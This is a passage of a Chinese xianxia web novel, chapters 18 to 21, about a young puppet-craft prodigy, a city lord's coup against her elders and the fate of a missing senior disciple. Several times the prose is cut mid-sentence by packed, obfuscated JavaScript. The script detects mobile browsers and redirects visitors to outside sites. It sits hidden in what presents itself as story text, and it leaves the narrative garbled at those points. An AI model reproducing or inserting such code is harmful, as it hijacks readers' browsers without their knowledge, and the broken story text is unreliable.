但奚逐云并不想看岑无月心情低落,因此并没有说出那个残忍的答案,而是转移她的注意力:“但至少未来两年玄枢城会安然无恙,民众可暂时安居乐业。” 岑无月闻言往远处三两聚集的修士们那边望了两眼,很快发现少了一位重要人物:“城主呢?” “仪式对她消耗很大,她先一步回城了。”奚逐云说到这里,心中突然生出一股怪异的感觉。 这感觉像是胸膛中有一根无形的弦被悄悄波动,引发一丝不祥的预感,告知他接下来将有不想见到的事情发生。 ……他已经很久没有产生过这种预感了。 奚逐云下意识上前半步将岑无月护到身后,目光四处扫视,却始终没有发现任何端倪。 “那看来明天不能去找城主学偃甲了。”毫无察觉的岑无月遗憾地掏出一本书道,“这本我看完后还没还给她呢。” 仍有些警惕的奚逐云下意识低头一看,封面上只手写了“手记之三”,显然只是一本辞青的私人笔记。 “……”他觉得有些不可思议,“你随城主习偃甲之术应该才两天。”就已经能看懂辞青笔记,还看到了第三本? 要知道,天才的思路并不与庸才共通,他们往往看一眼难题便直接知道答案。 以自身为例设想一下,奚逐云就能想象得到辞青的私人手记内容能有多跳跃——这种东西写的时候,就不可能是为了方便除了自己以外其他人看懂而作考虑的。 玄枢城那些所谓的“精英弟子”要是知道这件事,应该都会恨不得一头撞死。 “嗯,”岑无月朝他一扬下巴,自豪道,“我是偃甲天才,这我已经知道了。不过城主说她的整套手记我都可以看,这才看到第三本,走之前可能来不及看完了。” 怎么,还想几天时间习完辞青毕生所学? 烦恼的也是这种能气死别人的事情。 奚逐云失笑,用手指拂过手腕。 岑无月昨天送他的白蛇正咬着自己的尾巴化作一个圈,乖乖环在那里。 而另一个面具,则是好好地保存在他的储物戒中。 “回城吧。”奚逐云抱着轻松的态度,“你什么时候出发?要去星家吗?” 若是去星家,他或许可以与她同行一段。 岑无月跟着他的脚步向玄枢城方向走:“我想再多看几本城主的手记,过几天再走。不过比起星家,我想先去翊麟城看看,城主说那是我师兄离开时的目的地,好像有我一位师姐的线索。那我这一过去,岂不是一箭双雕啦?” 那便不顺路了。 奚逐云有些失望,但看到岑无月仍旧笑意盈盈、无忧无虑的架势,他连年阴雨的心情便松快不少:“好,那就祝你一路顺风。” 最坏最坏,岑无月的师父还活着,她便还有可以回去的地方。 未来,或许有一天,他还能在某条灵脉、某条业渊附近,碰巧地与变得更强、但满脸笑容的她重逢。 有些释然又有些遗憾,奚逐云挂起浅笑,留给岑无月一只刻上自己印记的小鹤。 若某日她需要帮忙,他一定会去的。 这次岑无月没拒绝,痛快收下小鹤,偏过脑袋看了他一会儿,真诚地祝福道:“奚逐云,希望下次见你时,你可以开心起来。” 奚逐云不由得想:越是干净的眼瞳,确实越能映出他人内心的痛苦。 —— 是夜,奚逐云猛地自入定中惊醒。 早些时候那种怪异的预感又来了,而且一次比一次强烈。 他将灵力稳稳运转一个周天,迅速 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15317205|166203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平静下来,同其余身外之身通神。 奚逐云的本体镇守在净庭山,所有身外之身平时都独自奔波,记忆并不共通,唯有需要时才会主动互相通神。 这一次,其他的身外之身都回复没有异常。 就连本体也被惊动,说净庭山并无异动。 也就是说,是玄枢城会出事。 奚逐云刚刚想到这里,前几天才刚刚出现过一次的钟声再度响彻整座城池。 他倏地抬头。 ……抑或是,玄枢城已经出事。 他静坐在原处,数了七记规律的钟响,随后一切重归平静。 不是九记,便不是辞青出事,不幸中的万幸。 白日时四位长老都好好的,也不知道是其中哪一位…… 就在此时,钟声再度响了起来。 奚逐云愕然扭头。 七声又七声,最后一共是二十八次丧钟。 别说奚逐云,整座城内恐怕没有一个人能再睡得着、入得定了。 …… ……或许除了岑无月。 整座城无论仙凡都忧心忡忡,唯有岑无月没心没肺地唏哩呼噜一碗甜豆腐脑。 赶来确认她状况的奚逐云啼笑皆非:“你莫不是没听见?” 若是入定得过于专注,直接将那二十八声钟响无视倒也不误可能。 而岑无月捧起第二碗咸豆腐脑,朝他眨眨眼,用灵力传音道:“我早就知道啦。” 想到她过去两日几乎是和辞青同吃同住,奚逐云几乎是瞬间就明白了一切。 恐怕是辞青动的手。 几天前那位四长老大概也是一样。 这些争权夺势勾心斗角的事情让奚逐云下意识地蹙起了眉。 净庭山从不会发生这样的事情。 随后,陪同岑无月去城主府时,奚逐云见到了忙碌的桑青。 桑青是特地来向他赔礼的:“城主正在疗伤,此时恐怕无法见您。” 疗伤,那说明胜者确实是辞青。 更何况她的代理者此刻俨然是代城主的姿态在行动了。 奚逐云意兴阑珊,只礼貌地颔首:“无碍便好。” “城主伤得重吗?”岑无月探头问。 桑青不置可否:“我不清楚。” “那长老们呢?”岑无月又问。 “……”桑青看了她一眼,道,“叛乱者皆已被诛杀。” 岑无月掏出那本《手记之三》,热情地问:“那我能去找城主还书吗?” “不可。”桑青冷漠拒绝,“城主的千机房何时打开,我何时再替你通传。” “那好吧。”岑无月有点失望,但并不纠缠,只是将手记交给桑青,“那这本就先由师姐替我归还。” 奚逐云和岑无月一同告辞之前,听见桑青又唤道:“岑无月。” 岑无月回头:“怎么啦师姐?” “多谢你。”桑青道。 奚逐云注意到桑青的目光在岑无月的脖颈附近停留得有些久。 而后,桑青还重复了一遍:“……谢谢。等城主一出关,我会立刻来找你。” 岑无月摸摸后颈,随意地摆手:“没什么啦。” 离开城主府后,奚逐云的目光也不自觉地往岑无月的后颈飘去。 “怎么?”岑无月笑眯眯道,“我也是其中功臣,想不到吧?” 奚逐云笑了起来,心中那丝仍旧盘旋不去叫嚣着“事情还没结束”的异样预感似乎也被冲淡了:“确实,你瞒得真好。” 岑无月或许在这次快准狠斩立决的谋变中担任了某种重要角色,但对奚逐云而言,只要她还能保持快快乐乐的模样便足够了。 18.第 18 章 辞青原以为自己一生都不会有心魔。 她这一生顺风顺水,自小便是天之骄女,想要什么都能随手拈来,甚至没有怀疑过自己能不能道成——制造偃甲对她来说如臂使指,未来只需要拥有自己的契偃,便一定能顺利飞升。 ——可偏偏就是契偃这一步,将她死死卡住了。 辞青对自己是那样的满意,满意到她根本无法制造出一台能让自己心甘情愿结下仅此一次半身灵契的偃甲。 谁能配得上成为我的半身? 这些我能随手就能捏出好几个来的这些玄铁桐木? 怎么可能。 三年,二十年,一百年……辞青毫无进展。 道心一旦不稳,修为便如同裂缝里的水,缓慢、却无法阻止地向外渗透流失。 但骄傲如她,连同他人讨论这个难题的念头都没有。 这世间或许有道行比她更高的人,但又有谁的偃甲之术能在她之上? 师叔不行,他已被城主的权力熏晕了头脑,辞青不得不抽空杀他取而代之。 只有玄枢城民生稳定,资源供给才不会断,她才有更多时间精力去制作自己的契偃。 试图另辟蹊径,辞青造出了“桑青”,将自己不需要的情感切割一些丢下来塞给这具偃甲,而后将她编入玄枢城的弟子中。 这种偃甲只能说是一种更高级的“仆从”,一种练手失败的试验品,辞青并不常关注桑青在做什么,也没人知道它的身份。 但正是桑青在外活动时,意外结识了那个初来乍到,名为沈述的剑修。 —— 沈述与寻常的无情道修士很不一样。 他是一个“只要被人求助,就必定会伸出援手”的人。 辞青曾借桑青之口问他这是否也是无情道的一种,沈述答道:“我将以手中之剑修器道,而非情道。” 桑青不解道:“可世上只有无情道能飞升。” 沈述是这么回的:“我修不了无情道。世间道千万条,总有我可以走的。” 这又是什么意思? 辞青翻来覆去地想了许久,最终忍不住离开千机房,亲自登门同沈述论道。 不眠不食的二人争论十五天,谁也没能说服谁,但成了至交好友。 这是辞青自修道来的第一个朋友。 只要同沈述待在一起,她便有无穷无尽的灵感。 她兴致勃勃地当场询问沈述能否模仿他为原型,试着为自己制作新的灵契偃。 她想,这台偃甲定是可以成功结契的,毕竟那可是她此生第一、永远唯一的挚友。 从不拒绝他人所求的沈述欣然同意了。 他在玄枢城一住便是三年,配合着辞青提供材料、时间、喂招,将那台同他长得九成九相似的偃甲打磨调和到极致。 直到确认无需再进行调整、只需择日结契,沈述便登门辞行。 辞青诧异地问他:“你要走?去哪里?” “下山前我同小师妹约好,只历练三十三年,日子快到了。”沈述笑了一下,“我从未对她失约过。原来想着时间可能来不及的话,可能无法帮你到最后,好在一切都顺利。” “可我还没结契呢!”辞青知道名为“岑无月”的小师妹,她只是不知道岑无月对沈述竟然如此重要。 “不会有问题的,”沈述温声安抚,“我们已经确认过一百遍了。” 辞青还想问“那万一呢”,但看着沈述归心似箭,终是没有问出口。 没有必要和明知比自己重要的人比,自取其辱,不是吗? 屈辱。 屈辱。 沈述剑术确实高超。 辞青甚至愿意相信他真的能大成从没有人成功过的“器道”。 但沈述有一个致命弱点。 他实在是太容易相信别人了。 尤其是女性,尤其是朋友。 —— 刚制作好的契偃被放置了。 辞青要秘密靠自己研究出一门新的、更精妙的手艺:将活人制成偃甲。 …… 她确实是天下最厉害的偃修,只用十几年便完成了这一成就。 但她在人心算计上却不如长老们。 得知新的灵契偃已经制成,长老们沆瀣一气,联合起来逼她将其投入业渊进行镇压。 业渊这几十年来的波动越来越剧烈,哪怕是辞青亲手制作的偃甲,往往也不到三年便完全腐化消失。 灵脉一旦被污染到了一定程度,便一点也用不了了。 玄枢城能发展到如今,离不开这条灵脉的存在。 而即便以天下之大,也很难找到另一条尚未被占领的灵脉来进行搬迁。 一旦离开这条苟延残喘的灵脉,同样苟延残喘的玄枢城很快便会成为不入流的小角色,迅速衰败。 辞青新制作的灵契偃便来得很是时候,长老们早就盯上了它。 反正除了辞青外,谁也不会有损失。 而辞青身为一城之主,理应为了大义做出这样的牺牲。 “不然,”五长老说,“我们只有联手将城主的契偃取走了。” ——但凡再早上几年,辞青都能一个人拍死他们几个人。 ……可惜的是,她已发现自己生出心魔。 那心魔长着沈述的脸。 于是,面对长老们明晃晃的威胁,辞青不怒反笑:“好,我明白诸位的意思了,我照做便是。” 五名长老半信半疑地离开,而领命的桑青则连夜出城去找逃亡多年、归心未死的余铮。 为了取信余铮,桑青特地带给他和死士各一枚“心眼”。 得知“辞青和契偃结契时被反噬重伤,结契未成,五位长老觊觎那具无主的灵契偃,正在合力逼她退位”的消息,余铮稍一查证便欣喜若狂地带死士直奔玄枢城,发誓要夺走契偃、抢回玄枢城城主的位置。 余铮悄悄潜入城主府的那天晚上,辞青一巴掌把死士拍到九成九死,又一巴掌把余铮拍到半死,正在心里计算着该放他跑多远再杀掉他时,却听见府内有个小姑娘无辜的声音道:“我叫岑无月,翻墙进来是为了找吃的。” 【岑无月】 辞青手一抖,连滚带爬逃走的余铮都懒得多看一眼,将全部的神识投向那个说话的小姑娘,冷静观察的同时喝令桑青将她即刻拿下。 沈述说过他的小师妹名叫岑无月,说过他对她从不失约,说过她对食物并不感兴趣,辟谷如吐纳一般轻松。 那么,这个三句话不离食物的岑无月,是那个沈述被放在了挚友之上的师妹岑无月吗? 如果是,她来玄枢城难道是因为知道沈述在这里? —— 确认岑无月已被封住灵力躺在地牢里,辞青才悄悄出府找到余铮后杀了他。 原本只要杀了就行,而现在就不得不临时废物利用了。 辞青飞快用余铮的尸体做了半偃甲。 因为时间不够,做工较为粗糙,无法直接控制;其次,这样的半偃甲还会保留一些生前的说话、行事、思想。 但作为试探岑无月的工具,辞青只需要给它一些重要的指令便够了。 若试探出岑无月来玄枢城是为了沈述,指令便是全力杀了她。 桑青也将用金针控制岑无月进行审问。 被她的金针入穴控制后的人会不由自主地说出实话。 “你不用这样看我,”辞青对心魔道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这孩子胆子太大,”辞青对心魔抱怨,“在这人吃人的修仙界里,她总这么为他人着想,能活多久?你和你师父怎么教的她?” 为了保护岑无月,也为了探寻她为了这一次提示究竟付出什么代价,辞青干脆将她唤到千机房里贴身观察。 然后辞青就发现了。 自己至交好友唯一的师妹,亲手带大的,居然可以这么聪明,聪明到辞青几乎想在堕魔之前将自己一身才学都教给她。 岑无月带着手记开开心心离开后,辞青无奈地问心魔:“仔细一想,桑青是不是早就抱着长辈心态在对待她了?” 心魔仍旧不说话,但有岑无月在千机房的日子里,它安分异常。 有时辞青忙碌间一抬头,便能看见它静静凝视岑无月。 辞青甚至怀疑自己看见这心魔眼底露出过微弱的笑意。 好吧。 辞青想。 如果这真是我亲手带大的小师妹,我说不定比你更喜欢她。 —— 镇压仪式很成功。 辞青装作重伤模样提前离场,在千机房内布置好陷阱阵法,静待那四个蠢货上门来送死。 这次等待的过程中,她的内心异常宁静。 宁静得好像从来没有诞生过心魔一样。 …… 嗯,一会得留个活口,不然不知道他们在那倒霉孩子身上动的手脚如何安全解除。 哦,还有,用沈述做成的契偃可得藏好了,不能叫这聪明孩子发现,她会很难过的。 19.第 19 章 天下没有不透风的墙。 四名长老意图杀害城主,又被早有准备的城主瓮中捉鳖,用雷霆手段一网打尽的消息,没几天就传遍了全城。 这也是桑青放任之下的结果。 桑青眼下的职务权力和城主都没有什么区别了。 城主闭门疗伤,五名长老……死了一个,还有一个离死也不远。 没有人知道桑青是城主的傀儡,大家只知道她平时是城主最信任的管事,这一次又得了城主的亲令暂时处理城中事务。 只不过日常事务倒还能处理得过来,但桑青自认在实力上毕竟还没有到一城之主的地步。 城主制作她的时候,没有太多考虑实力方面的问题。 为此,桑青特地请求奚逐云在城内多留了一段时间,代为坐镇。 有他在场,也不必担心观礼后尚未离去的其他修士心生歹念。 奚逐云自然是一口答应了。 这样的好脾气令桑青回忆起十几年前的沈述。 但一想到沈述这个名字,她脑中立刻就浮现了岑无月的身影。 …… 最开始见到岑无月时,桑青还不知道她的身份。 那日夜里,桑青早带弟子在城主府内提前布好陷阱,静候余铮上钩。 结果余铮是上钩了,附带的还有一个因为食物半夜翻进城主府的岑无月。 岑无月的眼睛又黑又圆,一门心思盯着人看的时候,“好奇”两个字几乎被写明在脸上。 桑青真不知道一个人、尤其是一个修士居然可以有那么多的好奇心。 正常修士怎么会因为桂花鱼条就跑进城主府里来?不怕死?又或者桂花鱼条只是个蹩脚的借口? 桑青还没想好要怎么放走岑无月,城主略带急躁的命令便传了过来:活捉她,投入地牢。 完了又迟疑着补充一句:不要伤她。 桑青迎着岑无月天真又无辜的双眼,没费任何力气就将毫无防备的她扎晕了。 很快,桑青就知道了岑无月是谁。 因为她说自己的师父叫“周五”。 那也是沈述师父的名字。 桑青觉得自己若是人,知晓此事时应当要感到“震惊”“愧疚”。 但她只是偃甲。 于是便只有按照城主的命令行事,审问完岑无月入城的目的之后,引她去接触“余铮”。 看着岑无月离开城主府后立马忘记自己刚在地牢里被关了一夜、无忧无虑直奔火踵神仙鸡的背影,桑青有些记不清了。 当年沈述不是说他小师妹不爱吃这些东西吗……? 回到城主府的桑青斟酌再三,私底下询问是否需要杀死岑无月。 听罢的城主凝望着千机房角落出神许久,才出声道:“再看看。” 这一等,就是半个多月过去。 四长老都死了,岑无月还活蹦乱跳,况且比入城时过得更好。 奚逐云保驾护航,城主暗里托举,岑无月在玄枢城可谓是如鱼得水。 尔虞我诈的修真界内,人人互相算计是常事,朋友与耗材可以无缝切换,任谁出门在外都得防彼此一手——谁知道刚刚欢声笑语过的那个人是不是下一秒就打算杀了你证道? 可岑无月总有叫任何人对她不设防的本事。 没人会怀疑岑无月要对自己不利,大家只会操心她再这样下去很快就会被人杀了证道。 比如那天,桑青在街上转了一圈,好不容易买到和岑无月一样的山楂糖丸后带回给城主。 第二天便得知岑无月很可能是冒着生命危险传出的这条稀里糊涂消息,为的是阻止长老们谋害尚未谋面的城主。 她却不知道自己拼命相帮的这位尚未谋面的辞青城主、还有隔三差五碰面的桑青师姐,都是她小师兄失踪几十年的元凶。 桑青甚至还帮忙挑出过沈述的手筋,那是为了将其浸泡加强处理后再装回去。 鲜活的手感,与她这样的纯偃甲不同。 多么可笑。 岑无月要是知道真相,又会作何反应? “……师姐,桑青师姐?” 桑青眨一眨眼,从岑无月的唤声中回神。 从仪式后到四位长老暴毙的消息传出,再到这几日桑青带着玄枢城众弟子稳定局势,说起来很长,但也不过就是三天的时间。 这三天里,岑无月天天都跑来城主府询问城主的情况。 这会儿又来了。 桑青一如既往冷淡地告诉岑无月:“城主仍在闭关。” 岑无月望着城主千机房的方向,担心地嘟囔道:“城主是不是伤得很重啊……” 伤自是重的。毕竟城主心魔仍在,又要在消耗大量灵力的情况下以一敌四,本该胜算不大。 但桑青知道,沈述……不,应该说,城主的契偃随时可以出手。 只是不知道为什么,那日她走进千机房里,发现几名长老尸体上的伤居然都是彼此的招式,仿佛是在密室内互相厮杀致死,谁身上也没有剑伤——也就是说,城主根本没有使用那具契偃。 要知道,沈述的剑就一直放在那台契偃手中。 ……但如果主人不开口,就说明身为偃甲的她不需要知道这些细节。 桑青面前的岑无月很快又叹气:“那师姐你呢?最近一定很忙吧。不如先选几个新的长老来处理事务什么的?” “新的长老需要城主亲自挑选。”桑青道。 她并不能替城主下决定。 岑无月凑近细看她的面孔,看着看着眉皱起来了:“师姐,你的面色也有些苍白。” 桑青淡淡道:“无碍。”只是核心内的灵力被城主倒抽了一些回去而已。 “不过有师姐这样的存在也好,”岑无月笑道,“你这样冷静、有条不紊地处理城中事宜,大家看着你,也会不自觉地安心。” 冷静? 桑青想。 身为偃甲的她只是天生并没有被赋予其他的情感罢了。 在制作她的时候,城主剥离了一些感情存放在此,但那归根结底只是城主的情绪。 就像人能看见另一个人吃饭吃得很香,但如果自己不尝上一口,就不可能知道是什么味道。 岑无月曾经说过,她师父判定她还没有搞明白“人”与“情”,于是她便觉得自己还有得学。 桑青看着一旁几乎是亦步亦趋的奚逐云,都有点不太懂了。 岑无月怎么可能不明白? 只要她想,她好像可以让任何人喜欢上她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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片刻后,岑无月又高高兴兴回来了,她对桑青道:“城主说我可以去地牢里找三长老。” 说得好像要去地牢里玩似的语气。 奚逐云不解地抬头:“三长老?” “有些事情还没厘清,自是要留活口。”桑青冷淡地说着,起身欲同岑无月一起前往地牢。 岑无月却清清喉咙,一本正经地抬手做了个阻止的动作:“师姐,城主告诉了我该怎么做,我自己去就行,你不必一道来。” 桑青观察她的表情。 有点得意,蠢蠢欲动,又很努力忍着不说。 那大概是从城主那里得了什么好用的逼供玩具……逼供用品吧。 三长老早就被城主废了识海,此时和瘫子没什么两样,最多是个皮糙肉厚、比较难饿死的瘫子。 思及此,桑青略一点头:“你认识路,自己去吧,小心些。” 不知为何有些忧心忡忡起来的奚逐云看起来也想跟过去。 但昂着下巴的岑无月把他也按住了,她信心十足地道:“你们都在这里等着,我一个人能搞定。” 桑青目送着岑无月迈着欢快步伐离开,内心升起一点微妙的、暖融融的情绪。 ……这就是城主所说“长辈的心态”? …… 她不该有的。 20.第 20 章 修仙之人一旦辟谷,靠灵气便能生存,吃喝都不再是必需。 因此就算被关起来好几天,也本该生龙活虎、活蹦乱跳。 不过若是在被关起来之前废了修为……那就是另一回事了。 三长老躺在湿冷的地面上,四肢动弹不得,体内经脉枯涸,连一丝一毫的灵力都察觉不到。 即便如此,她仍旧顽强地转动头脑,思考着一个几天来都未得到确切答案的问题:究竟是哪里出了错? 辞青怎么会知道他们的计划、提前布下陷阱,进行灭杀? 整场密室搏杀中,辞青尽管受了不少伤,但始终未祭出她的契偃,难道契偃真的已经不在她手里? 可要真是如此,又会是谁取走契偃? 这个人如果真的存在,岂不是全程坐在高台笑视三方争得你死我活,轻轻松松当了一个坐收渔翁之利的大赢家? 三长老转动迟钝的头脑,将入城观礼的客人一个一个想过去。 不找到这个人,她死也不会瞑目的。 …… 她的牢房门口传来了些许响动,像是布料摩擦的声音。 三长老后知后觉地睁开眼睛,色厉内荏:“谁?!” “三长老,”已经站在门外的人乖乖打了招呼,“我是岑无月。” 三长老不太记得这个名字。 又或者说,这个早该是死人的名字已经从她的脑中被淡忘了。 花了些许时间回忆起岑无月是谁之后,三长老难以置信:“你怎么会在这里?” 但凡岑无月有向辞青泄密的念头,那根刺入她后颈的针就会操纵她自尽。 三长老根本就没想过岑无月还活着,她甚至在内心嘲笑过这个不谙世事的小修士居然会愚蠢得为了辞青付出自己的生命! “是辞青解开了你身上的夺魂针!”三长老慌乱之中,只能得出这样一个并不正确的结论。 “不是啊。”门口的小姑娘蹲下身,很诚恳地捋起袖子,露出手臂上的痕迹给她看,“还没解开呢。” 像是怕躺在地上的她看不清楚,岑无月甚至还努力地把手臂穿过玄铁栅栏伸远了些。 三长老目瞪口呆,头脑一片混乱:“绝无可能,这怎么可能……” 二长老的夺魂针是私底下练的——这毕竟不是什么值得称颂的招式——但效果几人都清楚。 如果那黑色的印记已延伸到岑无月小臂上,那一定也早已侵入她的识海经脉,将她牢牢控制,变成只会听令行事的提线木偶。 最可怕的是,哪怕二长老死去,这针的效果也不会消失。 “其实还蛮麻烦的哎,”岑无月收回手,稍稍整理裙摆后蹲下身,用一种撒娇似的语气向三长老抱怨,“而且也有点痛的。” 三长老瞪大双眼看着她的面孔接近自己,脑中突地闪过一道灵光,失声惊呼:“你背后有人!” 而且就是那个高坐钓鱼台的幕后真凶! 那个人不知道用什么手段将夺魂针压制,从而将他们绞杀辞青的计划泄露了出去! 岑无月纳闷地扭头往自己身后看了看,又往地牢入口看,最后疑惑道:“没有啊?” 三长老沉默了一下,不知道眼前这骗了自己还有其他人那么久的小姑娘是真傻还是装傻。 不过事到如今,岑无月这样的小角色已经无所谓了。 三长老只迫切地想知道自己输在谁的手里。 “是谁?你为谁办事?那个人难道只是为了帮助辞青?没有别的图谋?”她一迭声地追问,“——我明白了,辞青也被这个人算计,契偃早已被这个人抢走了,是不是!” 岑无月托腮蹲在门口,表情看起来听得很认真,听完还很热情地接了话:“应该不会吧?” “怎么不会!”三长老觉得自己已经想明白了一切,“那天混战之中,他们突然开始互出杀招、辞青却毫不惊愕时我就该想到的!不过可笑辞青还以为这个人和她站在同一边!哈哈哈哈哈,她不会不知道下一个就要轮到她自己了吧?这种只在背后筹划却不露脸的人图谋居心才最大,我都白教她了!” 她越想越好笑,这几天的怨恨不甘都被这股嘲讽轻蔑之意淡化,最后竟然狂笑起来,笑了好一阵才停下,自己都不知道是在笑自己的轻敌还是辞青的愚蠢。 岑无月安安静静蹲在旁边等她笑声停歇,才开口问:“都到这会儿了,三长老想的还是这种事啊?” 几乎用尽了最后一丝力气的三长老大口喘着气问:“不然呢?后悔?” 岑无月问她:“后悔不行吗?” “那是最愚蠢的事,”三长老此时亦觉自己死到临头,看眼前模样天真的小怪物甚至生出些提点晚辈的平和心态,“小丫头你记住!修仙一途,自己选的道,头破血流、粉身碎骨也要走到底!不要想着半路还能回、错了还能改,这样想的人都死得很快。” 岑无月看了她片刻,又叹气:“三长老就不好奇为什么只有你在这里,其他人不在吗?” 三长老的理智又清明了会儿。 这个问题她当然也想过。 五长老……他就算了,辞青和他不和许多年,彼此痛下杀手时不会多眨一下眼睛。 四长老和辞青是亲姑侄,几百年前辞青还被他带在身边亲手教导过好一段时间。 但四长老是第一个死的。 大长老最为年长,修为最高,是此次谋反明晃晃的主使者,知道的信息在五名长老中最多。 那日密室之战,辞青最先下手杀的就是他。 夺魂针是二长老的招式,如果说是为了救岑无月的命,那理应留下她的命。 可那日死战时,一脸冷漠的辞青甚至不曾问过岑无月身上的针究竟是谁所下。 五个人里,最后被辞青留了一口气活下来的偏偏是中不溜丢的三长老。 就连三长老自己也想不通。 “既然你都这么问了,”三长老疲倦地道,“想必很快会给我答案吧。” 岑无月笑盈盈道:“嗯,不好意思,要劳烦您动一下手了。” 压根动弹不得的三长老睁开眼睛,看见岑无月摸出了一个什么东西。 岑无月喜气洋洋地说:“这是刚刚城主给我的。” 三长老眯眼努力辨认。 …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15344748|166203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城主手令? 她嗤笑一声:“我认她是城主时才听她的令,不认时她算什么东西?” 岑无月笑眯眯不解释,越过铁栏将城主手令放在了她的掌心里,又将她的手指握紧。 三长老更好笑了,难得耐心地给岑无月解说:“我修为被废,别说读手令内容,连灵气都察觉不到。无论你想做什么,都是白费力气。” 不过岑无月看起来兴致勃勃,她反正也是俎上鱼肉,玩玩倒也无妨。 没多久,岑无月就把手令收了回去,没有说话。 知道竹篮打水一场空了吧。 三长老闭着眼睛淡淡道:“小丫头,我就好心告诉你好了——你后颈那根针,除非二长老把神魂重新拼起来、再夺取一具新的肉身,否则哪怕辞青自己也没法取出来。指望辞青,还不如指望你背后那个人神通广大救你。” “我背后没有人啦。”岑无月轻快地说罢,突然又问了一句,语气稀松平常,像是在聊天,“三长老,你见没见过城主的契偃啊?” “什么‘你’,没大没小。”三长老眼也不睁,“——没见过,除了辞青,谁都没见过。” “那你有没有见过我小师兄沈述?”岑无月又问,“他应该是十几年来这里的,用剑,和城主关系很要好。前几日那具镇压的偃甲就是照着他的样子做的。” “记得,怎么不记得。”三长老觉得自己的思维越来越慢,说话的力气也逐渐流失了,“说自己不修无情道修器道的可笑小辈。” 岑无月“哎呀”一声,好似不服气地:“这么重要的事情他不应该先告诉我和师父吗?” 那语气好像沈述还没死一样。 又或者,她还没接受沈述已死的事实那样。 三长老想要叹一口气,但已经没有了这么做的力气。 她以一种诡异的、顺从的姿态,逐渐走向永久的死亡。 没想到死的时候,陪在她身旁的竟然是几乎陌生的、不知道从哪儿来的小怪物。 意识完全消失之前,三长老听见了桑青的声音。 桑青问:“解开了吗?” 接着是岑无月的声音:“嗯!拿到我想要的东西啦,还得谢谢城主。” 三长老几乎要融化、消弭的思绪猛地停住了。 等一等。 什么叫—— “拿到想要的东西了”? …… …… —— 只和岑无月说了两句话的工夫,桑青的视线再转向三长老时,发现这位风华不再、衰老脱相的前辈居然已经悄无声息地死去。 她双眼圆睁、望着监牢外的方向,嘴巴微张,一副不甘的死态。 死前也还这样怨恨吗。 又或者是不肯承认自己的失败? 不过好在死前能物尽其用。 桑青垂眸,稍稍移步,挡在了岑无月和三长老之间。 “三长老说这个叫夺魂针,”岑无月正在兴致高涨地讲解刚刚才听说的知识,“不过可能没那么快,要过几天才能完全弄下来。” 桑青安静听完,淡淡道:“能解开就好。” 21.第 21 章 虽说陆续死了五个长老,但辞青仍在,奚逐云也没离开,玄枢城内的气氛只稍稍恐慌后便很快恢复了往常热闹。 原本就是来观礼的修士们一一离开后,街道上的普通人数量也大大上升。 岑无月对此很满意。 她对着镜子检查自己的手臂:嗯,这里已经没有痕迹了。 肩膀也没有了。 后颈上还剩一些。 试着在脑海中换几个念头,头也不会那么痛了。 不用再多久应该就能完全拔出去,这会儿马上拔应该问题也不大,最多有点痛。 夺魂针可真是一门缺德的法诀啊,能想出这一招的二长老应该也不是什么好东西。 这几日,岑无月除了等待夺魂针的效果退去,也干了其他不少事。 譬如到处打听翊麟城的消息。 人人都说翊麟城是个好地方,不管是修士还是凡人,提起它都是赞不绝口。 翊麟城仿佛一座梦幻桃源乡,似乎世间所有的愿望在那里都可以得到满足。 奚逐云甚至还给岑无月讲了一个传闻:下雨时,翊麟城的街道上偶尔会出现小兽的足印,据说那是庇佑翊麟城的神兽显形,如果运气够好发现神兽足印,在它跟前诚心祈祷就能获得好运气、愿望成真。 岑无月决定等到了翊麟城也要去找一找神兽足印,并且对自己的运气非常有信心。 她可是全师门运气最好的人。 虽说她的愿望大概只能靠自己实现就是了。 但入乡随俗嘛。 等回去的时候还可以和足不出户的师父提一嘴,让师父长长见识。 重新整理好衣袖领口,岑无月拿起刚看完的《手记之七》,脚步轻快地向城主府走去。 城主府门口的弟子早已经眼熟岑无月,而且大概也猜到她在这次大事件中是个功臣,态度平和许多,稍一颔首,完全不做盘问。 岑无月友好地同几人打招呼:“桑青师姐在吗?” “师姐这几日什么时候不在了,”一个看起来还很年轻的弟子说道,“她忙得根本出不了门。” 也是哦。 原来的长老们虽说也没那么勤劳,但多少能干点儿活。 现在城主的伤势未愈,新长老们半生不熟,大多事务都压在桑青身上,她是全城人里最忙的一个。 “还好桑青师姐不用睡觉,”岑无月道,“不然可忙不过来。” “那我们也一样啊。”年轻弟子说着笑了一下,而后反应过来轻咳一声,将笑容板正成一张面无表情的脸,“岑道友,你可以进去了。” 岑无月看着她的表情变化眨了一下眼。 哎呀,这种无情道可真累,下次得找找其他的无情道修法再多多观察。 